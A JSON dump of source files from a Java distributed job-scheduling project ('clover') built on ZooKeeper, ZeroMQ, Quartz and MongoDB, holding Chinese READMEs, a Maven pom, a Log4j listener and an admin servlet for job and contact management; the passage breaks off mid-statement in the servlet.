[
  {
    "path": "README.md",
    "content": "# clover\nclover\n\n1、开发server和client端 定时向zk集群发送心跳数据包，利用Java自带的timer程序实现该功能 \n\n2、开发整天的monitor程序，用来定时向zk中获取server和client端的心跳数据信息，如果超过指定时间没有收到最新的数据包，那么任务server端或者client端死掉了，此时要删除该server或client端节点，发邮件通知相关人员，记录异常日志到系统日志文件和MongoDB中 \n\n3、client端接受创建job请求，将job信息创建到client服务端，并根据job时间规则运行，并将任务信息存储到MongoDB中 \n\n4、当client端job运行时候，封装执行任务信息,发送到指定客户端机器，更新client端job执行时间和状态，如不在需要继续运行，那删除job并从MongoDB中删除相关任务信息 \n\n5、client端接受删除job请求，client服务端，立即执行删除job并将任务信息从MongoDB中删除 \n\n6、client端接受更新job请求，client服务端，立即执行删除job并创建新job,并将任务信息从MongoDB中删除,然后再存储新job信息 \n\n7、第一版 使用Netty做消息通讯中间件，存储消息放入Redis中，服务器开启Http请求，客户端 通过 发送Http请求到服务器来处理请求，由于任务太多 redis处理能力不行，放弃该方案 第二版 使用Netty RPC框架，自己开发一个Server端和Client，各种启动指定端口，由于 必须要求Server端和Client必须启动才能进行消息发送，所以感觉非常不灵活，因为放弃该方案 第三版 使用架构组推荐的rocketmq,通过使用发现，很严重问题，消息会重复发送，经常会收到重复的消息，在测试的时候发现，经常发生消息异常和报错，跟架构组刘婷峰沟通说，可能是机器性能不行了，他也不知道具体原因，感觉非常不靠谱，果断放弃 第四版 使用 zeromq,通过在网上查资料，对比各种mq后，发现zeromq是最轻量级，出现消息是最快的，经过测试完全能满足业务，果断使用 \n\n8、由于项目中使用zk,自己开发zk使用工具类，定制server端增删改查zk消息以及定制client端增删改查zk消息,功能测试zk,目前打算增加zk watch功能 \n\n9、开发server和client端 定时向zk集群发送心跳数据包，利用Java自带的timer程序实现该功能 \n\n10、开发整天的monitor程序，用来定时向zk中获取server和client端的心跳数据信息，如果超过指定时间没有收到最新的数据包，那么任务server端或者client端死掉了，此时要删除该server或client端节点，发邮件通知相关人员，记录异常日志到系统日志文件和MongoDB中 \n\n11、开发console控制台管理，可以查看任务动态运行状态和次数信息 \n\n12、zk管理页面，查看server和client端节点信息，更新和删除节点信息 \n\n13、job管理页面，查看job详细信息 \n\n14、联系人管理页面，增删改查联系人信息 \n\n15、log日志管理页面，根据系统报错记录的日志信息，在页面中可以详细查看\n"
  },
  {
    "path": "clover/.gitignore",
    "content": "# maven ignore\r\ntarget/\r\n\r\n# eclipse ignore\r\n.settings/\r\n.project\r\n.classpath\r\n\r\n# idea ignore\r\n.idea/\r\n*.ipr\r\n*.iml\r\n*.iws\r\n\r\n# temp ignore\r\n*.log\r\n*.cache\r\n*.diff\r\n*.patch\r\n*.tmp\r\n\r\n# system ignore\r\n.DS_Store\r\nThumbs.db\r\n\r\n# package ignore (optional)\r\n# *.jar\r\n# *.war\r\n# *.zip\r\n# *.tar\r\n# *.tar.gz"
  },
  {
    "path": "clover/README.md",
    "content": "#clover\r\n1、开发server和client端 定时向zk集群发送心跳数据包，利用Java自带的timer程序实现该功能\r\n2、开发整天的monitor程序，用来定时向zk中获取server和client端的心跳数据信息，如果超过指定时间没有收到最新的数据包，那么任务server端或者client端死掉了，此时要删除该server或client端节点，发邮件通知相关人员，记录异常日志到系统日志文件和MongoDB中\r\n3、client端接受创建job请求，将job信息创建到client服务端，并根据job时间规则运行，并将任务信息存储到MongoDB中\r\n4、当client端job运行时候，封装执行任务信息,发送到指定客户端机器，更新client端job执行时间和状态，如不在需要继续运行，那删除job并从MongoDB中删除相关任务信息\r\n5、client端接受删除job请求，client服务端，立即执行删除job并将任务信息从MongoDB中删除\r\n6、client端接受更新job请求，client服务端，立即执行删除job并创建新job,并将任务信息从MongoDB中删除,然后再存储新job信息\r\n7、第一版 使用Netty做消息通讯中间件，存储消息放入Redis中，服务器开启Http请求，客户端 通过 发送Http请求到服务器来处理请求，由于任务太多 redis处理能力不行，放弃该方案\r\n第二版 使用Netty RPC框架，自己开发一个Server端和Client，各种启动指定端口，由于 必须要求Server端和Client必须启动才能进行消息发送，所以感觉非常不灵活，因为放弃该方案\r\n第三版 使用架构组推荐的rocketmq,通过使用发现，很严重问题，消息会重复发送，经常会收到重复的消息，在测试的时候发现，经常发生消息异常和报错，跟架构组刘婷峰沟通说，可能是机器性能不行了，他也不知道具体原因，感觉非常不靠谱，果断放弃\r\n第四版 使用 zeromq,通过在网上查资料，对比各种mq后，发现zeromq是最轻量级，出现消息是最快的，经过测试完全能满足业务，果断使用\r\n8、由于项目中使用zk,自己开发zk使用工具类，定制server端增删改查zk消息以及定制client端增删改查zk消息,功能测试zk,目前打算增加zk watch功能\r\n9、开发server和client端 定时向zk集群发送心跳数据包，利用Java自带的timer程序实现该功能\r\n10、开发整天的monitor程序，用来定时向zk中获取server和client端的心跳数据信息，如果超过指定时间没有收到最新的数据包，那么任务server端或者client端死掉了，此时要删除该server或client端节点，发邮件通知相关人员，记录异常日志到系统日志文件和MongoDB中\r\n11、开发console控制台管理，可以查看任务动态运行状态和次数信息\r\n12、zk管理页面，查看server和client端节点信息，更新和删除节点信息\r\n13、job管理页面，查看job详细信息\r\n14、联系人管理页面，增删改查联系人信息\r\n15、log日志管理页面，根据系统报错记录的日志信息，在页面中可以详细查看\r\n\r\n"
  },
  {
    "path": "clover/clover-admin/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project\r\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\r\n\txmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n\t<modelVersion>4.0.0</modelVersion>\r\n\t<parent>\r\n\t\t<groupId>com.gome</groupId>\r\n\t\t<artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n\t</parent>\r\n\t\r\n\t<artifactId>clover-admin</artifactId>\r\n    <name>clover-admin</name>\r\n\t<packaging>war</packaging>\r\n\r\n\t<build>\r\n        <finalName>clover-admin</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n\t\r\n    <dependencies>\r\n\t\t<dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-core</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-monitor</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-client</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-server</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.springframework</groupId>\r\n            <artifactId>spring-webmvc</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>javax.servlet</groupId>\r\n            <artifactId>servlet-api</artifactId>\r\n            <version>2.4</version>\r\n            <scope>provided</scope>\r\n        </dependency>\r\n\r\n        <!-- 单元测试 -->\r\n        <dependency>\r\n            <groupId>junit</groupId>\r\n            <artifactId>junit</artifactId>\r\n            <version>4.11</version>\r\n            <scope>test</scope>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.springframework</groupId>\r\n            <artifactId>org.springframework.test</artifactId>\r\n            <version>3.2.4.RELEASE</version>\r\n        </dependency>\r\n    </dependencies>\r\n</project>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/clover/listener/Log4jConfigListener.java",
    "content": "package com.gome.clover.listener;\r\n\r\nimport org.apache.log4j.LogManager;\r\nimport org.apache.log4j.PropertyConfigurator;\r\nimport org.apache.log4j.xml.DOMConfigurator;\r\n\r\nimport javax.servlet.ServletContextEvent;\r\nimport javax.servlet.ServletContextListener;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Log4j ConfigListener\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 10:55\r\n */\r\npublic class Log4jConfigListener implements ServletContextListener{\r\n\r\n    public static final String CONFIG_LOCATION_PARAM = \"log4jConfigLocation\";\r\n    public static final String XML_FILE_EXTENSION = \".xml\";\r\n\r\n    public void contextDestroyed(ServletContextEvent event) {\r\n        LogManager.shutdown();\r\n    }\r\n\r\n    public void contextInitialized(ServletContextEvent event) {\r\n        String location = event.getServletContext().getInitParameter(CONFIG_LOCATION_PARAM);\r\n        if (location != null) {\r\n            if (!location.startsWith(\"/\")) {\r\n                location = \"/\" + location;\r\n            }\r\n            location = event.getServletContext().getRealPath(location);\r\n\r\n            //如果是xml结尾就用DOM解析，否则就用properties解析\r\n            if (location.toLowerCase().endsWith(XML_FILE_EXTENSION)) {\r\n                DOMConfigurator.configure(location);\r\n            }else {\r\n                PropertyConfigurator.configure(location);\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/clover/servlet/CloverServletHandle.java",
    "content": "package com.gome.clover.servlet;\r\n\r\nimport com.alibaba.fastjson.JSONObject;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zeromq.AsyncSendMsg;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.common.zeromq.ZeroMQPull;\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport com.gome.clover.core.module.ModuleSchedulerServer;\r\nimport com.gome.clover.core.monitor.server.ServerHeartBeat;\r\nimport com.gome.clover.monitor.MonitorHeartBeat;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBObject;\r\nimport com.mongodb.util.JSON;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.zookeeper.CreateMode;\r\nimport org.bson.types.ObjectId;\r\nimport org.quartz.JobKey;\r\nimport org.quartz.Scheduler;\r\nimport org.quartz.SchedulerException;\r\nimport org.quartz.impl.StdSchedulerFactory;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\nimport java.io.IOException;\r\nimport java.io.PrintWriter;\r\nimport java.text.ParseException;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Clover Servlet Handle\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/24\r\n * Time: 11:30\r\n */\r\npublic class CloverServletHandle extends HttpServlet {\r\n    private static final Logger logger = LoggerFactory.getLogger(CloverServletHandle.class);\r\n    private static final CuratorFramework curatorFramework = ZKUtil.create();\r\n\r\n    protected void doGet(HttpServletRequest request, HttpServletResponse response)\r\n            throws ServletException, IOException {\r\n        doPost(request, response);\r\n    }\r\n\r\n    protected void doPost(HttpServletRequest request, HttpServletResponse response)\r\n            throws ServletException, IOException {\r\n        String action = request.getParameter(\"action\");\r\n        request.setCharacterEncoding(\"utf-8\");\r\n        response.setCharacterEncoding(\"utf-8\");\r\n        response.setContentType(\"text/html;charset=utf-8\");\r\n        PrintWriter out = response.getWriter();\r\n        if (\"handleJobAdd\".equals(action)) {\r\n            out.println(handleJobAdd(request));\r\n        } else if (\"handleJobUpdate\".equals(action)) {\r\n\r\n        } else if (\"handleJobDataDelete\".equals(action)) {\r\n            String id = request.getParameter(\"id\");\r\n            out.println(handleJobDataDelete(id));\r\n        } else if (\"handleJobDelete\".equals(action)) {\r\n            String id = request.getParameter(\"id\");\r\n            out.println(handleJobDelete(id));\r\n        } else if (\"handleJobDetail\".equals(action)) {\r\n            String id = request.getParameter(\"id\");\r\n            out.println(handleJobDetail(id));\r\n        } else if (\"handleLogDetail\".equals(action)) {\r\n            String id = request.getParameter(\"id\");\r\n            out.println(handleLogDetail(id));\r\n        } else if (\"handleContactAdd\".equals(action)) {\r\n            out.println(handleContactAdd(request));\r\n        } else if (\"handleContactUpdate\".equals(action)) {\r\n            out.println(handleContactUpdate(request));\r\n        } else if (\"handleContactDelete\".equals(action)) {\r\n            out.println(handleContactDelete(request));\r\n        } else if (\"handleContactDetail\".equals(action)) {\r\n            out.println(handleContactDetail(request));\r\n        } else if (\"handleStartupCloverServer\".equals(action)) {\r\n            out.println(handleStartupCloverServer());\r\n        } else if (\"handleStopCloverServer\".equals(action)) {\r\n            out.println(handleStopCloverServer());\r\n        } else if (\"handleStartupServerHeartBeat\".equals(action)) {\r\n            out.println(handleStartupServerHeartBeat());\r\n        } else if (\"handleStopServerHeartBeat\".equals(action)) {\r\n            out.println(handleStopServerHeartBeat());\r\n        } else if (\"handleStartupMonitorHeartBeat\".equals(action)) {\r\n            out.println(handleStartupMonitorHeartBeat());\r\n        } else if (\"handleStopMonitorHeartBeat\".equals(action)) {\r\n            out.println(handleStopMonitorHeartBeat());\r\n        }\r\n        out.flush();\r\n        out.close();\r\n    }\r\n\r\n    private String handleJobAdd(HttpServletRequest request) {\r\n        try {\r\n            BasicDBObject basicDBObject = new BasicDBObject();\r\n            basicDBObject.put(\"jobGroup\", request.getParameter(\"jobGroup\"));\r\n            basicDBObject.put(\"jobName\", request.getParameter(\"jobName\"));\r\n            basicDBObject.put(\"jobType\", request.getParameter(\"jobType\"));\r\n            basicDBObject.put(\"jobStrategy\", request.getParameter(\"jobStrategy\"));\r\n            basicDBObject.put(\"executeType\", request.getParameter(\"executeType\"));\r\n            basicDBObject.put(\"jobClassName\", request.getParameter(\"jobClassName\"));\r\n            basicDBObject.put(\"startTime\", request.getParameter(\"startTime\"));\r\n            basicDBObject.put(\"cronExpression\", request.getParameter(\"cronExpression\"));\r\n            String ip = request.getParameter(\"ip\");\r\n            String port = request.getParameter(\"port\");\r\n            basicDBObject.put(\"ip\", ip);\r\n            basicDBObject.put(\"port\", port);\r\n            basicDBObject.put(\"fixedClientIps\", request.getParameter(\"fixedClientIps\"));\r\n            basicDBObject.put(\"fixedServerIps\", request.getParameter(\"fixedServerIps\"));\r\n            String msg = JSON.serialize(basicDBObject);\r\n            ZeroMQEntity zeroMQEntity = new ZeroMQEntity(CommonConstants.MODULE_TYPE_CLIENT_WITH_ADMIN, ip, null, msg);\r\n            //AsyncSendMsg.send(ip, port, com.alibaba.fastjson.JSON.toJSONString(zeroMQEntity));\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleJobAdd(HttpServletRequest request) error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleJobDataDelete(String id) {\r\n        try {\r\n            return MongoDBUtil.INSTANCE.delete(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_JOB) ? \"1\" : \"-1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleContactDetail(\" + id + \") error,\", e);\r\n            return \"-1\";\r\n        }\r\n\r\n    }\r\n\r\n    private String handleJobDelete(String id) {\r\n        try {\r\n            DBObject dbObject = MongoDBUtil.INSTANCE.findOneByCondition(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_JOB);\r\n            if (null != dbObject) {\r\n                MongoDBUtil.INSTANCE.delete(new BasicDBObject(\r\n                        DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_JOB);\r\n                String serverIp = (String) dbObject.get(DBTableInfo.COL_SERVER_IP);\r\n                String jobKey = (String) dbObject.get(DBTableInfo.COL_JOB_KEY);\r\n                String jobGroup = jobKey.substring(0, jobKey.lastIndexOf(\".\"));\r\n                String jobName = jobKey.substring(jobKey.lastIndexOf(\".\") + 1);\r\n                if (IpUtil.getLocalIP().equals(serverIp)) {\r\n                    try {\r\n                        Scheduler scheduler = new StdSchedulerFactory().getScheduler();\r\n                        JobKey jobKey4Delete = new JobKey(jobName, jobGroup);\r\n                        if (scheduler.checkExists(jobKey4Delete)) {\r\n                            return scheduler.deleteJob(jobKey4Delete) ? \"1\" : \"-1\";\r\n                        }\r\n                    } catch (SchedulerException e) {\r\n                        if (logger.isDebugEnabled()) e.printStackTrace();\r\n                        logger.error(\"CloverServletHandle-->>handleJobDelete(\" + id + \") error,\" + e.getMessage());\r\n                        return \"-1\";\r\n                    }\r\n                } else if (!StringUtil.isEmpty(serverIp)) {\r\n                    BasicDBObject basicDBObject = new BasicDBObject();\r\n                    basicDBObject.put(\"jobGroup\", jobGroup);\r\n                    basicDBObject.put(\"jobName\", jobName);\r\n                    String msg = JSON.serialize(basicDBObject);\r\n                    ZeroMQEntity zeroMQEntity = new ZeroMQEntity(CommonConstants.MODULE_TYPE_SERVER_WITH_ADMIN, serverIp, null, msg);\r\n                    String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_SERVER;\r\n                    String port = ZKUtil.getDataByParameter(serverPathStr, \"ip\", serverIp, \"port\");\r\n                    if (!StringUtil.isEmpty(port)) {\r\n                        return \"-1\"; //AsyncSendMsg.send(serverIp, port, com.alibaba.fastjson.JSON.toJSONString(zeroMQEntity)) ? \"1\" : \"-1\";\r\n                    } else {\r\n                        return \"-1\";\r\n                    }\r\n                }\r\n            } else {\r\n                return \"-1\";\r\n            }\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleJobDelete(\" + id + \") error,\", e);\r\n            return \"-1\";\r\n        }\r\n        return \"-1\";\r\n    }\r\n\r\n    private String handleJobDetail(String id) {\r\n        try {\r\n            DBObject dbObject = MongoDBUtil.INSTANCE.findOneByCondition(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_JOB);\r\n            if (null != dbObject) {\r\n                //构造json对象\r\n                JSONObject json = new JSONObject();\r\n                json.put(\"jobKey\", dbObject.get(DBTableInfo.COL_JOB_KEY));\r\n                json.put(\"jobType\", dbObject.get(DBTableInfo.COL_JOB_TYPE));\r\n                json.put(\"executeType\", dbObject.get(DBTableInfo.COL_EXECUTE_TYPE));\r\n                json.put(\"jobStrategy\", dbObject.get(DBTableInfo.COL_JOB_STRATEGY));\r\n                json.put(\"startTime\", dbObject.get(DBTableInfo.COL_START_TIME));\r\n                String cronExpressionStr = (String) dbObject.get(DBTableInfo.COL_CRON_EXPRESSION);\r\n                json.put(\"cronExpression\", cronExpressionStr);\r\n                String nextValidTime = \"\";\r\n                if (!StringUtil.isEmpty(cronExpressionStr)) {\r\n                    if (null != dbObject.get(DBTableInfo.COL_CRON_EXPRESSION)) {\r\n                        try {\r\n                            nextValidTime = DateUtil.formatWithDefaultPattern(\r\n                                    DateUtil.getNextValidTimeAfter(cronExpressionStr, new Date()));\r\n                        } catch (ParseException e) {\r\n                            e.printStackTrace();\r\n                            logger.error(\"CloverServletHandle-->>handleJobDetail(\" + id + \") error,\" + e.getMessage());\r\n                        }\r\n                    }\r\n                }\r\n                json.put(\"nextValidTime\", nextValidTime);\r\n          /*  String classPath = System.getProperty(\"user.dir\");\r\n            MyClassLoader cl = new MyClassLoader(classPath);\r\n            String className = \"com.gome.clover.job.MyJobWithSimpleJob\";\r\n            CreateAndCompileClassFile.compileAndLoading(classPath,className);\r\n            try {\r\n                Class cls=cl.loadClass(className);\r\n            } catch (ClassNotFoundException e) {\r\n                e.printStackTrace();\r\n            }\r\n            json.put(\"jobInfo\", JSON.toJSONString((ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(\r\n                    (String) dbObject.get(DBTableInfo.COL_JOB_INFO)))));*/\r\n                json.put(\"ip\", dbObject.get(DBTableInfo.COL_IP));\r\n                json.put(\"fixedClientIps\", dbObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS));\r\n                json.put(\"fixedServerIps\", dbObject.get(DBTableInfo.COL_FIXED_SERVER_IPS));\r\n                json.put(\"executeStartTime\", dbObject.get(DBTableInfo.COL_EXECUTE_START_TIME));\r\n                json.put(\"executeEndTime\", dbObject.get(DBTableInfo.COL_EXECUTE_END_TIME));\r\n                json.put(\"times\", dbObject.get(DBTableInfo.COL_TIMES));\r\n                json.put(\"failTimes\", dbObject.get(DBTableInfo.COL_FAIL_TIMES));\r\n                json.put(\"status\", CommonConstants.JOB_STATUS_1.equals(dbObject.get(DBTableInfo.COL_STATUS)) ? \"初始化状态\" :\r\n                        \"运行中状态\");\r\n                json.put(\"ts\", dbObject.get(DBTableInfo.COL_TS));\r\n                return json.toString();\r\n            } else {\r\n                return \"\";\r\n            }\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleJobDetail(\" + id + \") error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleLogDetail(String id) {\r\n        try {\r\n            DBObject dbObject = MongoDBUtil.INSTANCE.findOneByCondition(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_LOG);\r\n            if (null != dbObject) {\r\n                //构造json对象\r\n                JSONObject json = new JSONObject();\r\n                json.put(\"systemId\", dbObject.get(DBTableInfo.COL_SYSTEM_ID));\r\n                json.put(\"ip\", dbObject.get(DBTableInfo.COL_IP));\r\n                json.put(\"jobKey\", dbObject.get(DBTableInfo.COL_JOB_KEY));\r\n                json.put(\"execMethod\", dbObject.get(DBTableInfo.COL_EXEC_METHOD));\r\n                json.put(\"execResult\", dbObject.get(DBTableInfo.COL_EXEC_RESULT));\r\n                json.put(\"execTime\", dbObject.get(DBTableInfo.COL_EXEC_TIME));\r\n                json.put(\"ts\", dbObject.get(DBTableInfo.COL_TS));\r\n                return json.toString();\r\n            } else {\r\n                return \"\";\r\n            }\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleLogDetail(\" + id + \") error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleContactAdd(HttpServletRequest request) {\r\n        try {\r\n            BasicDBObject document = new BasicDBObject();\r\n            String systemId = request.getParameter(\"systemId\");\r\n            document.put(DBTableInfo.COL_SYSTEM_ID, StringUtil.isEmpty(systemId) ? \"\" : systemId);\r\n            String ip = request.getParameter(\"ip\");\r\n            document.put(DBTableInfo.COL_IP, StringUtil.isEmpty(ip) ? \"\" : ip);\r\n            String jobKey = request.getParameter(\"jobKey\");\r\n            document.put(DBTableInfo.COL_JOB_KEY, StringUtil.isEmpty(jobKey) ? \"\" : jobKey);\r\n            String contacter = request.getParameter(\"contacter\");\r\n            document.put(DBTableInfo.COL_CONTACTER, StringUtil.isEmpty(contacter) ? \"\" : contacter);\r\n            String email = request.getParameter(\"email\");\r\n            document.put(DBTableInfo.COL_EMAIL, StringUtil.isEmpty(email) ? \"\" : email);\r\n            String mobile = request.getParameter(\"mobile\");\r\n            document.put(DBTableInfo.COL_MOBILE, StringUtil.isEmpty(mobile) ? \"\" : mobile);\r\n            document.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n            return MongoDBUtil.INSTANCE.insertOrUpdate(document, DBTableInfo.TBL_CLOVER_CONTACT) ? \"1\" : \"-1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleContactAdd(HttpServletRequest request) error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleContactUpdate(HttpServletRequest request) {\r\n        try {\r\n            BasicDBObject document = new BasicDBObject();\r\n            String id = request.getParameter(\"id\");\r\n            String systemId = request.getParameter(\"systemId\");\r\n            document.put(DBTableInfo.COL_SYSTEM_ID, StringUtil.isEmpty(systemId) ? \"\" : systemId);\r\n            String ip = request.getParameter(\"ip\");\r\n            document.put(DBTableInfo.COL_IP, StringUtil.isEmpty(ip) ? \"\" : ip);\r\n            String jobKey = request.getParameter(\"jobKey\");\r\n            document.put(DBTableInfo.COL_JOB_KEY, StringUtil.isEmpty(jobKey) ? \"\" : jobKey);\r\n            String contacter = request.getParameter(\"contacter\");\r\n            document.put(DBTableInfo.COL_CONTACTER, StringUtil.isEmpty(contacter) ? \"\" : contacter);\r\n            String email = request.getParameter(\"email\");\r\n            document.put(DBTableInfo.COL_EMAIL, StringUtil.isEmpty(email) ? \"\" : email);\r\n            String mobile = request.getParameter(\"mobile\");\r\n            document.put(DBTableInfo.COL_MOBILE, StringUtil.isEmpty(mobile) ? \"\" : mobile);\r\n            document.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n            return MongoDBUtil.INSTANCE.update(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), document, DBTableInfo.TBL_CLOVER_CONTACT) ? \"1\" : \"-1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleContactUpdate(HttpServletRequest request) error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleContactDelete(HttpServletRequest request) {\r\n        try {\r\n            String id = request.getParameter(\"id\");\r\n            return MongoDBUtil.INSTANCE.delete(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_CONTACT) ? \"1\" : \"-1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleContactDelete(HttpServletRequest request) error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleContactDetail(HttpServletRequest request) {\r\n        try {\r\n            String id = request.getParameter(\"id\");\r\n            DBObject dbObject = MongoDBUtil.INSTANCE.findOneByCondition(new BasicDBObject(\r\n                    DBTableInfo.COL_ID, new ObjectId(id)), DBTableInfo.TBL_CLOVER_CONTACT);\r\n            if (null != dbObject) {\r\n                //构造json对象\r\n                JSONObject json = new JSONObject();\r\n                json.put(DBTableInfo.COL_SYSTEM_ID, dbObject.get(DBTableInfo.COL_SYSTEM_ID));\r\n                json.put(DBTableInfo.COL_IP, dbObject.get(DBTableInfo.COL_IP));\r\n                json.put(DBTableInfo.COL_JOB_KEY, dbObject.get(DBTableInfo.COL_JOB_KEY));\r\n                json.put(DBTableInfo.COL_CONTACTER, dbObject.get(DBTableInfo.COL_CONTACTER));\r\n                json.put(DBTableInfo.COL_EMAIL, dbObject.get(DBTableInfo.COL_EMAIL));\r\n                json.put(DBTableInfo.COL_MOBILE, dbObject.get(DBTableInfo.COL_MOBILE));\r\n                json.put(DBTableInfo.COL_TS, dbObject.get(DBTableInfo.COL_TS));\r\n                return json.toString();\r\n            } else {\r\n                return \"\";\r\n            }\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) System.err.println(e.getMessage());\r\n            logger.error(\"CloverServletHandle-->>handleContactDetail(HttpServletRequest request) error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStartupCloverServer() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) 